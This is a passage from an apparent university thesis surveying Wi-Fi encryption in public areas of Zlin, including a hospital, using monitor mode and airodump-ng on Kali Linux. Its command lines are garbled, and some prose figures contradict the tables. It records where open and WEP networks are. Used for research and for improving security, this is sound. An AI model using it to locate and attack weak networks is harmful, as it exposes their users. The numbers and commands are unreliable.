This chapter focuses on router and wireless AP of Wi-Fi network components. While rout-
ers and wireless APs are used to enable Wi-Fi connectivity, their functions differ. Routers
connect multiple networks and manage traffic, whereas wireless APs provide wireless con-
nectivity to devices on a single network. Despite these differences, both components share
standard features, such as the ability to wirelessly connect devices, support various Wi-Fi
standards, and provide secure network features. Anyone interested in setting up or main-
taining Wi-Fi networks ought to comprehend the role and functionality of these compo-

nents.

5.1 Routers in Wi-Fi Networks

A router is an intermediary device that is designed to connect one network to another and
route data packets between. As the name implies, the router routs a connection to an ap-
propriate destination based on some criteria. A routing table is used by the router to decide
on which path the data packet should follow. A device on one network sends a data packet
to the router whenever it wants to communicate with a device on another network. The
router then looks at the destination IP address and consults its routing table to determine

the best route for the packet to take in order to get to its destination [43].

5.1.1 Types of routers

There are many ways a router can be classifies into its types. The main and most general

method is to categorize them based on the network connections they provide.

Wired routers: This types of router allows connectivity to the internet using a physical
network cable, like Ethernet cable. These routers have multiple ports for connecting vari-
ous devices. Additional features that are associated with a wired routed include built-in
switch or firewall. When a dependable, fast network connection is necessary, such as in an
office or home where numerous devices must connect to the internet or network, wired

routers are frequently used.

Wireless routers: Wireless routers utilize radio waves instead of physical cables found in
wired routers to offer network connectivity to devices. It allows multiple devices to con-

nect to the internet using Wi-Fi or other wireless standards. The method wireless routers



TBU in Zlin, Faculty of Applied Informatics 49

use to support these multiple devices simultaneously is by having dual-band or tri-brand

antennas for better performance and reduced interference [44].

5.1.2 Characteristics of wireless routers

There are many characteristics of wireless routers. However, some of the most important
technical characteristics of wireless routers relevant to wireless networking include fre-

quency bands, transmission power, and antenna types.

Frequency band: Routers operate on different frequency bands, such as 2.4 GHz and 5
GHz. As described in subchapter 3.3 Wireless security standards, The frequency band in-
fluences the wireless network's range and speed. Higher frequency bands offer faster

speeds but have shorter range.

Transmission power: The router's power consumption for wireless signal transmission is
known as the transmission power. It determines the router's signal strength, which has an
impact on the wireless network's quality and range. A stronger signal and greater coverage
are typically the results of higher transmission power, but it can also interfere with nearby

wireless networks.

Antenna type: Antennas on routers can be directional or omnidirectional, among other

types [36].

In terms of security, Wi-Fi routers are typically equipped with a built-in firewall, Network
Address Translation (NAT), and other advanced security protocols. NAT is a protocol that
allows multiple devices to share a single internet connection while also preventing outside

attackers from accessing network devices.

5.2 Wireless Access Points (AP)

A Wireless AP is a device that connects wireless devices to a wired network through Wi-
Fi. It acts as a bridge between the wireless devices and the wired network by receiving and
transmitting RF signals, enabling wireless devices to communicate with other network de-
vices like computers, printers, and servers. WAPs are commonly used in both public places
like coffee shops, airports, and hotels, as well as in private homes and businesses to pro-

vide wireless internet access to users.
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5.2.1 Types of WAP

The WAPs can be categorized into two groups, the fixed and the mobile. The choice be-

tween fixed and mobile wireless APs depends on the intended use case.

Fixed wireless APs are fixed devices that are installed in a specific location and provide
wireless connectivity to that location. These APs are typically installed in corporate set-
tings such as offices or warehouses to provide wireless internet access to employees or
visitors. The AP in this context is permanently installed in a fixed location and cannot be

easily moved.

Mobile wireless APs, on the other hand, are portable devices that can be carried around
and used to connect to the internet while on the go. Individuals who require internet access
while traveling or working remotely frequently use these devices. A personal hotspot cre-
ated with a smartphone is a common example of a mobile wireless access AP. The cellular
connection of the smartphone is used to create a wireless network that can be used to con-

nect other devices to the internet.

5.2.2 Configuration of WAP

There are several configuration options when setting up a WAP. These configurations al-
low for recognizing whether a detected signal from the APs and connecting devices is ma-
licious or not, or if the WAP was deployed without authorization. Some of the most com-

mon configuration options include:

The SSID. 1t is the name of the wireless network the clients are supposed to connect to. In
terms of security, changing the default SSID to a unique name can improve security by
making it more difficult for attackers to guess the network's name. The configuration of an
SSID affects network security enabling advanced security features like WPA2 for device
authentication and data encryption. It also determines which devices can connect to the

WAP and access the network, adding another layer of security.

The MAC. APs typically offer the functionality to configure MAC-level filtering directly
within the AP. MAC pertains to the hardware or MAC addresses of devices on a wireless
network. By utilizing this filtering, network administrators can restrict access to the wire-
less network to select physical devices. This practice is frequently employed to prevent
unauthorized access by neighbors or to limit network usage solely to members of an organ-

ization with permission to connect to specific APs.
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The power level control. Certain wireless APs allow you to control the power output of
your wireless network. For example, this allows signal strength to be restricted within the
confines of a building, preventing it from extending outside into the parking lot. The best
practice is to keep power levels as low as possible while still providing functionality to all
users. However, determining the appropriate power threshold requires additional research

and testing to ensure that it is not set too low for network users.

The allocation of RF bands. The number of frequencies that can be configured when set-
ting up a wireless AP is dependent on the type of wireless network standards used. Some
APs and standards support the 2.4 GHz band, while others support the 5 GHz band, and
some support both simultaneously. Additionally, the distance over which the AP must
communicate may require a different type of antenna. Once the frequencies for the AP are
determined, channels can be assigned to that frequency. To simplify the process, prede-

fined channels can be used instead of specific frequencies for the 2.4 GHz or 5 GHz bands.

The wireless LAN controller. A centralized wireless LAN controller can manage multiple
wireless APs from a single screen, making it easier to monitor performance, security, and
make updates or changes. This proprietary system enables security reports and wireless
network access to be viewed from the management console. A wireless LAN controller is

recommended for efficient management if multiple APs must be deployed [45].
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5.3 WAP vs. Wi-Fi router

These are few areas where you can compare Wi-Fi routers and WAPs. The Table 5 below

shows specifics some of these areas.

Table 5 WAP vs. Wi-Fi router

Feature Wireless Access Protocol | Wi-Fi Router
It serves as a link between | Provides wireless con-
Functionality a wired network and wire- | nectivity and routing
less devices. capabilities.
Provides network secu-
Securit Normally lacks built-in rity features such as a
Y security features firewall, NAT, and
encryption.
. . Can be controlled via a
Typically managed inde- .
Management web-based interface or
pendently of the router .
a mobile app.
Devices can be con-
.. Provides wireless connec- | nected via both wired
Connectivity . . .
tivity to devices and wireless connec-
tions.
Supports multiple net-
Can be used to expand the upp WP
- s works and can manage
Scalability coverage of an existing
a large number of de-
network .
vices
Because of additional
. In most cases, less expen- | features and capabili-
Price . e ..
sive than a Wi-Fi router. ties, it may be more
expensive.

It is important to note that WAPs and Wi-Fi routers may have different features and capa-

bilities depending on the model and manufacturer [33].
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6 SECURITY RESEARCH OF PUBLIC WI-FI NETWORKS

The security research of public Wi-Fi networks is being conducted in the city of Zlin,
Czech Republic. The purpose of this research is to provide valuable insights into the state
of wireless connectivity in eight different areas of the city. The importance and necessity
of the analysis is to help identify areas of poor security in Wi-Fi Networks, improve them,
inform infrastructure planning decisions, and support economic development and innova-

tion.

6.1 Methodology and Data Collection

The methodology for this analysis provides a step-by-step plan for the research procedure
to ensure that the study was conducted methodically and systematically. The primary re-
search question that this analysis aims to address is investigating the security risks and vul-
nerabilities associated with unsecured Wi-Fi networks in Zlin City. To achieve this objec-

tive, a quantitative research design was utilized.

6.1.1 Tools and technologies used for conducting research

The methods that were used to collect the data include the cooperation of a Wi-Fi device,

an operating system, and a software.

The device used for this research is the Wireless N USB Adapter TL-WN722N, which is a
high-gain wireless USB adapter. The adapter was selected for its built-in antenna, which
can detect a stronger signal from a Wi-Fi AP than wireless-enabled devices such as lap-
tops, tablets, smartphones, and others. This feature is essential for the research because it

allows for a more accurate information scan of surrounding Wi-Fi networks.

The operating system used to scan and capture data is Kali Linux OS on a Virtual Machine
(VM). The reason for using the Kali Linux operating system as a virtual machine in this
research is that the HP Elitebook 840 G6 laptop used for the research came with Windows
as its primary operating system, and it was not necessary to remove it in order to conduct
the research. Experts test the security of computer systems using Kali Linux, it is essential
for this research because it has hundreds of tools that can be used to assist with various
security tasks, including determining how secure a computer system is, conducting security

research, looking into computer crimes, and understanding how a program operates.
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The actual program used to gather information about a Wi-Fi network in real time is Air-
crack-ng tool suit. It is a program that is downloadable on Kali Linux operating system and
is able to detect, sniff packets, crack security protocols such as WEP and WPA2-PSK, and
analyze 802.11 wireless LAN’s. One of the more important features of this suit is its ability
to export detected Wi-Fi networks in Comma-Separated Values (CSV) format to the hard
disk.

6.1.2 Research methodology and procedure for data collection

To facilitate the use of data for the purpose of obtaining results, this section will provide a
thorough description of the research process, starting with data detection and ending with

data exportation onto a hard drive [46].
Step 1: Change interface mode

The USB adapter TL-WN722N is used to detect networks when moving around the eight
areas of Zlin city. The USB mode needs to be set to monitor, as it enables a more thorough
analysis of network traffic. To change the mode of the USB adapter, below are the com-

mands that need to be run on Kali Linux operating system’s terminal emulator.

link set wlanO0 down
wlan0 set monitor control
link set wlanO up

wnN R
v v n

Changing the interface from "up" in line (1) to "down" in line (2) is to ensure that there
will not be any conflict or interruption with the data transmission when the adapters mode
is changed. After the change in mode has been done, the interface is activated though the

command in line (3).

To check the interface mode of the Wi-Fi USB adapter, the following command is used:

$ sudo dev

This command is a Linux command that enables command-line configuration and man-
agement of wireless devices and their settings. The results of running this command would

display information similar to this:
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1 phy#0

2 Interface wlanO

3 ifindex 3

4 wdev 0x1

5 addr 6e:5e:0b:c8:d2:e4

6 type monitor

7 channel 1 (2412 MHz), width: 20 MHz (no HT), centerl: 2412
MHz

8 txpower 20.00 dBm

Each line of the output represents a specific piece of information about the wireless inter-
face wlan0 on the device. Line (1) Phy#0, is the physical interface that is linked to the
wlan0 wireless interface. Line (2) displays the name of the wireless interface. Line (3)
indicates the index number of the wireless interface. Line (4) indicates the wireless adapt-
er's wireless device ID. Line (5) indicates the MAC address of the wireless adapter. Line
(6) indicates the operation mode of the wireless interface. It is the most relevant to this
research and needs to be checked before any data collection process. Line (7) indicates the
actual channel channel 1 at a frequency of 2412 MHZ with a channel width of 20 MHz,
Finally, line (8) indicates the data transmission power of the wireless interface, which in

this case is 20 decibels above 1 milliwatt (20.00 dBm).

Step 2: Capture and analyze network traffic

The main reason a wireless USB adapter was needed for this research was to use the Air-

crack-ng tool suite, which only works with a wireless network interface controller capable

of supporting monitoring mode and sniffing packets from various Wi-Fi protocol traffic.
The command tool that will be used to capture and display a wealth of information about
the wireless networks is airodump-ng which is a part of Aircrack-ng tool suite. In this step,
a command is run to analyze and capture the data and save it to a file. The command goes

as follows:

S /{file-path} wlan0

/{file-path} tells the airodump-ng tool to write the captured data into the file
specified in the file path. wlan0 identifies the interface name of the wireless adapter that

was used to capture the data.

The result of running this command will be two things. First is that live information about

the wireless networks detected by the antenna are displayed in the terminal emulator. Sec-
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ond is that a group of files will be created and simultaneously updated as new wireless

networks are being detected. In both results the captured data will be the following:

e Basic Service Set Identifier (BSSID): a 48-bit MAC address that identifies the
APs.

o First time seen and Last time seen: first and last time the network was detected.

e Channel: the channel that the network is using to boradcast

e Speed: the maximum data trasfer rate that is supported by the network.

e Privacy: type of encrpytion used for security.

o Cipher: type of algorithm used for encyption.

o Power: signal strength of the network.

e Beacons: number of beacon frames broadcast by netowork.

o Extended Service Set Identifier (ESSID): indentifier of wireless network.

From the group of files obtained, the CSV file is used for the data analysis.

6.1.3 Data Analysis

The analysis of the data is the process of filtering, organizing and analyzing the collected
data. The software used to carry out the analysis is the Microsoft Excel spreadsheet. The
software provides many features, including the ability to filter out repetitive and unwanted
data, organize data according to certain rules, perform statistical analysis, and provide a
graphical representation at every step. All of which will be necessary to generate accurate

and precise results in this research.
To organize and filter the data for statistical analysis, there are several steps to follow:

Step 1. Removing duplicate Wi-Fi Networks based on ESSID column.

Step 2. Organize the data table by recognizing the privacy column as the bases of the
sorting. A secondary sorting by number of beacons rule is added to the list of rules
to further optimize the data. It important to note that The order of the Primary rule
is customized with strongest to weakest Wi-Fi protocol.

Step 3. The PivotTable fields are selected for privacy measurement.
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6.2 Results of Data Analysis of Individual Location

By following the steps described in subchapter 5./ Methodology and Data Collection, it is
anticipated that clear and precise measurements of the network security within a specific
area of Zlin city can be obtained. The areas are defined the Figure 8 below. The findings of
the data analysis performed on each area in Zlin city are presented in the following sec-
tions. A few of the areas that were picked were only residential, while the majority were
picked because of their high traffic and popularity. The results of this analysis will give a
thorough understanding of the city's wireless security landscape and help determine wheth-

er the current security measures are effective or dated.

1vausuva Hrinony Pasaky

\ @ [40]
MLADCOVA {

ZboZensko g

' Stakovy,
s : \ Paseky
azovies LHOTKA ' !

Sykory @ -
&

.
316

O
O

CHLUM / e
Tedovice PRSTNE 3¢ e f-'}-... \
\ 7 = \\ - =4
\ S o B
LOUKY Lz o F
> |
/ —~ JAROSLAVICE
Z :/ ) a > -
= -‘IF——") Thl,\'&(liﬂhuru 4 410 / ¢
"{ = . <\ KUDLOV 4
Rl \ A |
by ZLIN -
MALENOVICE P r=

U Majaku

Figure 8 Defined areas of Zlin city relevant to this research

6.2.1 Area one: Namésti Miru, Zlin

The Nameésti Miru Square is the oldest square in the city. It has residential area, entertain-
ment centers such as Zlaté Jablko (Golden Apple), hotels, and a wine bar. The square is
located within the zip code of 760 01 and a street code of 644587. This location with the

scanned areas shown in Figure 9 , was chosen for its high traffic and popularity.
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Figure 9 Map of scanned area in Namésti Miru Square

If the steps described earlier are followed correctly, results should be obtainable for the

specific location. For Namésti Miru Square in Zlin, the results are shown in the Table 6

below.

Table 6 Results of Security standard scan in Namésti Miru square
Standard and Protocol \ Count of BSSID Count of BSSID in %
WPA3 WPA2 3 0.58%
SAE PSK 3 0.58%
CCMP 3 0.58%
WPA2 WPA 47 9.02%
PSK 47 9.02%
CCMP 21 4.03%
CCMP TKIP 26 4.99%
WPA2 407 78.12%
1 0.19%
1 0.19%
MGT 34 6.53%
CCMP 34 6.53%
PSK 372 71.40%
CCMP 324 62.19%
CCMP TKIP 47 9.02%
TKIP 1 0.19%
WPA 9 1.73%
6 1.15%
6 1.15%
PSK 3 0.58%
TKIP 3 0.58%
WEP 1 0.19%
1 0.19%




TBU in Zlin, Faculty of Applied Informatics 60

WEP 1 0.19%
OPN 54 10.36%
54 10.36%

54 10.36%

Grand Total 521 100.00%

The results are graphically displayed as a pie chart in Figure 10, which makes it easy to see

how much the groups of wireless security protocol usage differs from one another.

wep  WPA3WPA2 WPA2 WPA
0% 1% 9%
OPN
WPA 10%
2%
WPA2
78%

Figure 10 Count of BSSID in percentage for Namésti Miru Square

The content of Table 6 is organized according to security standard column with the high-
est to weakest Wi-Fi security protocol. There are three important information that can be
obtained from this result. First, WPA2, which was used by 407 BSSIDs, or 78.12% of the
total, out of the 521 BSSIDs found in Namésti Miru square, was the most widely used and
most common security standard. Second, it shows that one WEP standard was used by the
detected Wi-Fi networks in the square. Finally, "OPN" stands for "Open," a category of
the wireless network without any security safeguards in place, making it open to intrusion

and attacks, has 54 BSSID's using it which is approximately 10.36% of the total.

6.2.2 Area two: Kuty, Zlin

Kuty is a residential area comprised of numerous apartment buildings in close proximity to
the city center. Its favorable location allows for a convenient 15-minute walk to the city
center. While primarily residential, it is worth noting that a portion of the apartments and

houses in the area are leased by businesses. As a result, the area accommodates a substan-
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tial concentration of wireless APs. Kuty falls within the 76001 zip code. The scanned area

is illustrated in the Figure 11 below.
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Figure 11 Map of scanned area in Kuty

Table 7 shows the distribution of various security standards among detected APs, such as
WPA3 WPA2, WPA2 WPA, WPA2, WPA, WEP, and OPN. The analysis reveals the total
number of BSSIDs and provides information on the usage of each security standard. By
examining the number and percentage of APs that implement these standards, valuable
information about the security landscape within the Kuty residential area's wireless net-

work environment can be derived.

Table 7 Results of security standard scan in Kuty

dard and Protoco 0 of B ) 0 of B ) %
WPA3 WPA2 9 0.88%
CCMP 9 0.88%
SAE 1 0.10%
SAE PSK 8 0.78%
WPA2 WPA 113 11.04%
CCMP 55 5.37%
PSK 55 5.37%
CCMP TKIP 57 5.57%
PSK 57 5.57%
TKIP 1 0.10%
PSK 1 0.10%
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WPA2 862 84.18%
CCMP 692 67.58%
MGT 2 0.20%
PSK 690 67.38%
CCMP TKIP 167 16.31%
PSK 167 16.31%
TKIP 3 0.29%
PSK 3 0.29%
WPA 21 2.05%
16 1.56%

16 1.56%

TKIP 5 0.49%
PSK 5 0.49%
WEP 8 0.78%
WEP 8 0.78%

8 0.78%

OPN 11 1.07%
11 1.07%

11 1.07%

Grand Total 1024 100.00%

Figure 12 Count of BSSID in percentage for Kuty presents a pie chart illustrating the per-

centage distribution of security standards among the APs in Kuty.
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Figure 12 Count of BSSID in percentage for Kuty

Given the relatively small size of the scanned area, the large number of wireless APs de-

tected is notable. It is important to note that the scanning process only covered the ground
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level, excluding APs on higher floors (e.g., Sth to 10th floors) from the range of the USB
Wi-Fi adapter. Despite this limitation, a significant number of 1024 devices were detected
during the scanning process. Analyzing the collected data reveals that a remarkable 96% of
the total APs detected in the area, equivalent to 984 devices, use robust security protocols
such as WPA2, WPA2 WPA, and WPA3 WPA2. Furthermore, a small number of 8 devic-
es use the less secure WEP security standard. Finally, approximately 11% of the APs re-
main open, with no security measures in place. These findings provide valuable insights

into the scanned area's current security landscape.

6.2.3 Area three: Tomas Bata regional hospital, Zlin

Tomas Bata Regional Hospital in Zlin, known as Krajska nemocnice T. Bati (KNTB) in
the Czech language, is a publicly-owned healthcare institution under the ownership of the
Zlin region. Established in 1927, the hospital encompasses 49 buildings spread across an
extensive area, each dedicated to its respective medical department. The address is location
in within the zip code of 76275 with an address of Havlickovo nabiezi 600. The scanned

area is illustrated in the Figure 13 below.
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Figure 13 Map of scanned area in Tomas Bata regional Hospital

The collected data has been organized into a table that shows how different security stand-
ards are distributed among the detected APs. The Table 8 shows the number and percent-
age of APs that use different security standards, such as WPA3 WPA2, WPA2 WPA,
WPA2, WPA, WEP, and OPN. This analysis provides valuable insights into the hospital's

wireless network environment's security landscape.
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Table 8 Results of Security scan in KNTB

Standard and Protocols ‘ Count of BSSID Count of BSSID in %
WPA3 WPA2 2 0.32%
SAE PSK 2 0.32%
CCMP 2 0.32%
WPA2 WPA 13 2.09%
PSK 13 2.09%
CCMP 5 0.80%
CCMP TKIP 8 1.29%
WPA2 399 64.15%
MGT 145 23.31%
CCMP 145 23.31%
PSK 254 40.84%
CCMP 232 37.30%
CCMP TKIP 22 3.54%
WPA 2 0.32%
PSK 2 0.32%
TKIP 2 0.32%
WEP 5 0.80%
5 0.80%

WEP 5 0.80%
OPN 201 32.32%
201 32.32%

201 32.32%

Grand Total 622 100.00%

Figure 14 presents a pie chart illustrating the percentage distribution of security standards

among the APs in the Tomas Bata Regional Hospital.
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Figure 14 Count of the BSSID in percentage for KNTB

Three important pieces of information can be drawn from this data. First, 399 wireless APs
translating to 64% of the total APs detected within the hospital area used WPA2 as their
primary security standard, indicating a significant implementation of this strong safety
measure. Second, 201 APs which is approximately 32% of the grand total of APs detected
were discovered to lack security measures, leaving them open to public use. This is under-
standable given the hospital setting, where quick internet access is critical for patients or in
emergency situations. Finally, the scan discovered two APs that used the WEP standard,
indicating the presence of older or potentially less secure devices in the network environ-

ment.

6.2.4 Area four: Ciganov, Zlin

Ciganov, also known as "Gypsies" in English, is one of the city's older and economically
disadvantaged neighborhoods. The area has historical significance and a taboo reputation,
as noted by Karel Pekarek, a Zlin author and FryStak native, in his 1948 work
"Starozlinské povésti ". Ciganov currently houses one of Zlin's most popular bars, "Pivnice
U Maci". The zip code for this area is 76001. The accompanying Figure 15 depicts the

scanned region of Ciganov, providing a visual representation.
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Figure 15 Map of scanned area in Ciganov

The gathered information displayed in the Table 9 below has been meticulously organized
into a comprehensive table that depicts the distribution of various privacy standards among
the detected APs. This analysis reveals the number and percentage of APs that use various
security measures such as WPA3, WPA2, WPA2, WPA, WEP, and OPN. The findings

shed light on the security landscape in Ciganov's wireless network environment.

Table 9 Results of security scans in Ciganov

Standard and Protocols Count of BSSID Count of BSSID in %
WPA3 WPA2 1 1
SAE PSK 1 1
CCMP 1 1
WPA2 311 311
MGT 2 2
CCMP 2 2
MGT PSK 1 1
CCMP TKIP 1 1
PSK 308 308
CCMP 240 240
CCMP TKIP 68 68
WPA2 WPA 28 28
PSK 28 28
CCMP 13 13
CCMP TKIP 15 15
WPA 3 3
2 2
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2 2

PSK 1 1
TKIP 1 1
WEP 2 2
2 2

WEP 2 2
OPN 23 23
23 23

23 23

Grand Total 368 368

Figure 16 Count of BSSID in percentage for Ciganov presents a pie chart illustrating the

percentage distribution of security standards among the APs in the Ciganov.
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Figure 16 Count of BSSID in percentage for Ciganov

Data analysis from the Ciganov area reveals notable trends in the security standards used
by wireless APs. Among the 368 devices examined, 340 devices (approximately 92% of
the total) prioritize robust security measures such as WPA2, WPA2 WPA, and WPA3
WPAZ2. This emphasizes the importance of securing these APs in order to protect network
integrity. In contrast, 23 devices, or about 6% of the total, operate on open networks with
no security standards in place. This emphasizes the importance of better security practices

in order to mitigate potential vulnerabilities associated with these APs. Furthermore, a
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small subset of 5 devices (roughly 1% of the total) use security standards that may provide

relatively lower levels of protection.

6.2.5 Area five: Stiedova, Jizni Svahy, Zlin

This particular area was chosen from the two areas scanned in Jizni Svahy because of its
notable characteristics, high foot traffic, and popularity. It is a hub of activity because it
has several prominent establishments such as a pharmacy, hair salon, pizza restaurant,
bowling place, and bar. Furthermore, the presence of two bus stops within a 5-minute walk
adds to the accessibility and convenience of the area. The selection of this area allows for a
thorough examination of the wireless network landscape in a busy and frequently visited

area. The scanned area can be found in the Figure 17 below.
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Figure 17 Map of first scanned area in (Stfedova) of Jizni Svahy

The collected data has been organized into a table that shows how different security stand-
ards are distributed among the detected APs. The Table 10 shows the number and percent-
age of APs that use different security standards, such as WPA3 WPA2, WPA2 WPA,
WPA2, WPA, WEP, and OPN. This analysis provides useful insights into the security

landscape of Zlin's Stfedova section in Jizni Svahy.
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Table 10 Results of security scan (Stfedova) in Jizni Svahy

Standard and Protocols Count of BSSID Count of BSSID in %
WPA3 WPA2 8 2.21%
SAE PSK 8 2.21%
CCMP 8 2.21%
WPA2 WPA 25 6.91%
MGT 1 0.28%
CCMP 1 0.28%
PSK 24 6.63%
CCMP 6 1.66%
CCMP TKIP 18 4.97%
WPA2 301 83.15%
MGT 18 4.97%
CCMP 18 4.97%
PSK 283 78.18%
CCMP 205 56.63%
CCMP TKIP 77 21.27%
TKIP 1 0.28%
WPA 8 2.21%
5 1.38%

5 1.38%

PSK 3 0.83%
TKIP 3 0.83%
WEP 3 0.83%
3 0.83%

WEP 3 0.83%
OPN 17 4.70%
17 4.70%

17 4.70%

Grand Total 362 100.00%

Figure 18 presents a pie chart illustrating the percentage distribution of security standards

among the APs in the Zlin's Stfedova section in Jizni Svahy.
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Figure 18 Count of DSSID in percentage for (Stfedova) in Jizni Svahy

From the data collected in Stfedova, it is evident that the predominant security standard
employed by the wireless APs is WPA2, with 301 devices utilizing it, accounting for ap-
proximately 83% of the total APs scanned in the area. In contrast, the second highest secu-
rity standard, WPA2 WPA, is significantly lower with only 25 APs, representing approxi-
mately 7% of the total. The remaining minority of APs utilize the more secure standards,
including WPA3 WPA2 and WPA, with each having 8 devices, accounting for approxi-
mately 2% of the total.

6.2.6 Area six: Ceska, JiZni Svahy, Zlin

Ceska, located in Jizni Svahy, Zlin, is a predominantly residential area characterized by
eight-story apartment buildings. It is the second residential area examined in this study,
following the previous scan of Kuty. Although the scanning tests were limited to the
ground level, the results provide valuable insights into the prevailing security measures
adopted by the wireless APs in the area. The scan covered the streets of Ceska, Moravska,

and Slezska, as depicted in the accompanying Figure 19 below.
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Figure 19 Map of second scanned area in (Ceska) of Jizni Svahy

The collected data has been organized into a table that shows how different security stand-
ards are distributed among the detected APs. The Table 11 shows the number and percent-
age of APs that use different security standards, such as WPA3 WPA2, WPA2 WPA,
WPA2, WPA, WEP, and OPN. This analysis provides useful insights into the security

landscape of Zlin's Ceska, Moravska, and Slezska streets in Jizni Svahy.

Table 11 Results of security scan for (Cesk4) in Jizni Svahy

D ] ' ] ' |
gard and DTOCO 0 01 D 0 01 D |

WPA3 WPA2 16 1.81%
SAE PSK 16 1.81%
CCMP 16 1.81%
WPA2 WPA 69 7.81%
PSK 69 7.81%
CCMP 30 3.39%
CCMP TKIP 39 4.41%
WPA2 782 88.46%
CMAC PSK 1 0.11%
CCMP 1 0.11%
PSK 781 88.35%
CCMP 584 66.06%
CCMP TKIP 194 21.95%
TKIP 3 0.34%
WPA 6 0.68%
4 0.45%
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4 0.45%

PSK 2 0.23%
TKIP 2 0.23%
WEP 1 0.11%
1 0.11%

WEP 1 0.11%
OPN 10 1.13%
10 1.13%

10 1.13%

Grand Total 884 100.00%

Figure 20 presents a pie chart illustrating the percentage distribution of security standards

among the APs in the Zlin's Stfedova section in Jizni Svahy.
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Figure 20 Count of BSSID in percentage for (Ceska) in Jizni Svahy

Based on the data collected from this area, it can we seen that the majority of the wireless
APs in the scanned area prioritize strong security measures. WPA2 is the most widely used
security standard, indicating a concerted effort to safeguard the network against potential
threats. It is also worth noting that the use of WEP, which is considered less secure, is rela-
tively low, at only 0.11%, or 1 Wireless AP. This indicates a positive trend toward more
robust security protocols. However, due to the lack of encryption, there is still a small per-

centage of open networks 1.13%, or 10 wireless APs, that may pose potential risks.
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6.2.7 Area seven: Namésti Tomase Garrigue Masaryka, Zlin

Namésti Tomase Garrigue Masaryka, also known as Nam. T. G. Masaryka for short, is a
U-shaped road that ascends a hill. It is mostly made up of residential buildings, with a few
ground-floor shops in select establishments. The street's primary function is to house edu-
cational institutions such as high schools, universities, and university dormitories. The Zlin
police station is also located on this street. A prominent feature of the street is a large gar-
den in its center which attracts visitors. Nam. T. G. Masaryka is located within the 76001

zip code. The Figure 21 below defines the scanned area for wireless APs.
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Figure 21 Map of scanned area in Nam. T. G. Masaryka

The data collected has been organized into a table that shows the distribution of various
security standards among the detected APs in Zlin's Nam. T. G. Masaryka area. Table
12 summarizes the security standards used, including WPA3, WPA2, WPA2, WPA, WEP,
and OPN. This analysis provides useful insights into the security landscape of Nam. T. G.
Masaryka Street, shedding light on the prevalence of these security standards among APs.
Notably, the data was collected from 960 devices with the help of a USB Wi-Fi adapter.

Table 12 Results of security scan in Nam. T. G. Masaryka

Standard and Protocols ‘ Count of BSSID Count of BSSID in %
WPA3 WPA2 27 2.81%
SAE PSK 27 2.81%
CCMP 27 2.81%
WPA2 WPA 42 4.38%




TBU in Zlin, Faculty of Applied Informatics 74

PSK 42 4.38%
CCMP 24 2.50%
CCMP TKIP 18 1.88%

WPA2 839 87.40%

MGT 159 16.56%
CCMP 159 16.56%

PSK 680 70.83%
CCMP 640 66.67%
CCMP TKIP 40 4.17%

WPA 10 1.04%
8 0.83%
8 0.83%

PSK 2 0.21%

TKIP 2 0.21%

WEP 2 0.21%
2 0.21%

WEP 2 0.21%
OPN 40 4.17%
40 4.17%

40 4.17%

Grand Total 960 100.00%

Figure 22 presents a pie chart illustrating the percentage distribution of security standards

among the APs in Nam. T. G. Masaryka.
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Figure 22 Count of BSSID in percentage for Nam. T. G. Masaryka
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6.2.8 Area eight: Jana Antonina Bati, Zlin

Jana Antonina Bati is a street located at the center of the city. Jana Antonina Bati, is named
in honor of Tomas Bata's half-brother. It has the zip code 760 01. The street is home to a
wide range of amenities, including Tomas Bata University faculties, restaurants, cafes,
banks, supermarkets, outlets, pharmacies, and a police station. The MAX32 building is
also located on this street. Given the abundance of services available, both locals and tour-
ists frequent this popular street, which offers numerous internet APs. Although residential
buildings are present on the street, it is predominantly considered a high-traffic area. The

area is shown in Figure 23 below.
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Figure 23 Map of scanned area in Jana Antonina Bati

The collected data has been organized into a table that shows how different security stand-
ards are distributed among the detected APs. The Table 13 shows the number and percent-
age of APs that use various security standards, such as WPA3, WPA2, WPA2, WPA,
WPA2, WPA, and OPN. This analysis provides valuable insights into the wireless network

security landscape on Jana Antonina Bati street.
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Table 13 Results of security scan for Jana Antonina Bati

Standard and Protocols Count of BSSID Count of BSSID in %
WPA3 WPA2 2 0.64%
SAE PSK 2 0.64%
CCMP 2 0.64%
WPA2 WPA 27 8.65%
MGT 1 0.32%
CCMP TKIP 1 0.32%
PSK 26 8.33%
CCMP 10 3.21%
CCMP TKIP 16 5.13%
WPA2 237 75.96%
MGT 23 7.37%
CCMP 23 7.37%
PSK 214 68.59%
CCMP 186 59.62%
CCMP TKIP 27 8.65%
TKIP 1 0.32%
WPA 4 1.28%
4 1.28%

4 1.28%

OPN 42 13.46%
42 13.46%

42 13.46%

Grand Total 312 100.00%

A graphical illustration in pie chart of the results obtained from scanning of Jana Antonina

Bati street in Zlin is found in Figure 24 below.
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Figure 24 Count of BSSID in percentage for Jana Antonina Bati

We can find according to the data scanned for this area that the majority of the APs Based
on the scanned data for this area, it is clear that WPA?2 is the most commonly used wireless
security standard by APs. A significant number of APs, approximately 13% of the total
312 scanned APs, were discovered to be unprotected, allowing unrestricted access. Nota-

bly, no APs employing the WEP security standard were discovered in the area.

6.2.9 Area nine: Centro Zlin, Zlin

Centro Zlin, situated in the Malenovice district of Zlin, is a vibrant hub for both shopping
and entertainment. This bustling center is home to around 90 shops, restaurants, cafes, and
service providers, catering to a wide range of interests and needs. With the center open
seven days a week, visitors and shoppers can be found flocking to the area at all times,
creating a lively and dynamic atmosphere. It is within zip code of 763 02. The scanned

area can be found the Figure 25 below.
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Figure 25 Map of scanned area for Centro Zlin

The gathered information has been organized into a table that shows how various security
standards are distributed among the detected APs. The Table 14 shows the number of APs
that use various security standards, such as WPA2 WPA, WPA2, WPA, WEP, and OPN.
This analysis provides valuable insights into the security landscape of the Centro Zlin area

that was scanned.

Table 14 Results of security scan for Centro Zlin

Standard and Protocols ‘ Count of BSSID Count of BSSID in %
WPA2 WPA 22 8.63%
PSK 22 8.63%
CCMP 8 3.14%
CCMP TKIP 14 5.49%
WPA2 200 78.43%
11 4.31%

11 4.31%

CMAC PSK 2 0.78%
CCMP 2 0.78%
MGT 53 20.78%
CCMP 41 16.08%
CCMP TKIP 12 4.71%
PSK 134 52.55%
CCMP 131 51.37%
CCMP TKIP 3 1.18%
WPA 2 0.78%
2 0.78%
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2 0.78%

WEP 2 0.78%
2 0.78%

WEP 2 0.78%
OPN 29 11.37%
29 11.37%

29 11.37%

Grand Total 255 100.00%

A graphical illustration in pie chart of the results obtained from scanning of Centro Zlin in

Zlin is found in Figure 26 below.

WPA2 WPA

Figure 26 Count of BSSID in percentage for Centro Zlin

Despite being a busy and popular location with a wide variety of shops, the research con-

